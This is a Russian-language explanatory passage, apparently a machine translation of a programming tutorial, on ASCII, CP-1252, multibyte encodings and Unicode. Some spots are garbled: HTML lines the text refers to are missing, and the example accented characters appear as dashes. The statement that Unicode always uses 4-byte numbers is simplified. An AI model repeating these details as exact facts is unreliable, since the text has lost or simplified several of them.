На самом деле, когда я показываю корейский символ, мне приходилось помещать следующие строки html в раздел заголовка:
->
ASCII и Unicode
Существуют кодировки символов для всех основных языков мира.Поскольку каждый язык отличается, а память и дисковое пространство исторически были дорогими, каждая кодировка символов оптимизирована для конкретного языка. В каждой кодировке используются одни и те же числа ( 0-255 ) для представления символов этого языка. Например, кодировка ASCII , в которой английские символы хранятся в виде чисел от 0 до 127. ( 65 — заглавная, A , 97 — строчная a ). В английском языке очень простой алфавит, поэтому его можно полностью выразить менее чем с помощью 128 цифр.
В
западноевропейских языках, таких как французский, испанский и немецкий, букв больше, чем в английском. Наиболее распространенная кодировка для этих языков — CP-1252 . Кодировка CP-1252 разделяет символы с ASCII в диапазоне 0-127 , но затем расширяется до диапазона 128-255 для таких символов, как — , — и т. Д. Это все еще однобайтовая кодировка, хотя; максимально возможное число 255 по-прежнему умещается в одном байте.
Кроме того, существуют такие языки, как китайский и корейский, в которых так много символов, что для них требуются многобайтовые наборы символов.То есть каждый символ представлен двухбайтовым числом ( 0-65535 ). Но разные многобайтовые кодировки по-прежнему имеют ту же проблему, что и разные однобайтовые кодировки, а именно то, что каждая из них использует одни и те же числа для обозначения разных вещей. Просто диапазон чисел шире, потому что символов гораздо больше.
Unicode предназначен для представления каждого символа любого языка. Юникод представляет каждую букву, символ или идеограмму как 4-байтовое число.Каждое число представляет собой уникальный символ, используемый как минимум в одном из языков мира. На каждый символ приходится ровно 1 число и ровно 1 символ на число. Каждое число всегда означает только одно; нет режимов , за которыми нужно следить. U + 0061 всегда равно ‘a’ , даже если в языке нет ‘a’ .
Это отличная идея. Одна кодировка, чтобы управлять ими всеми. Несколько языков в документе.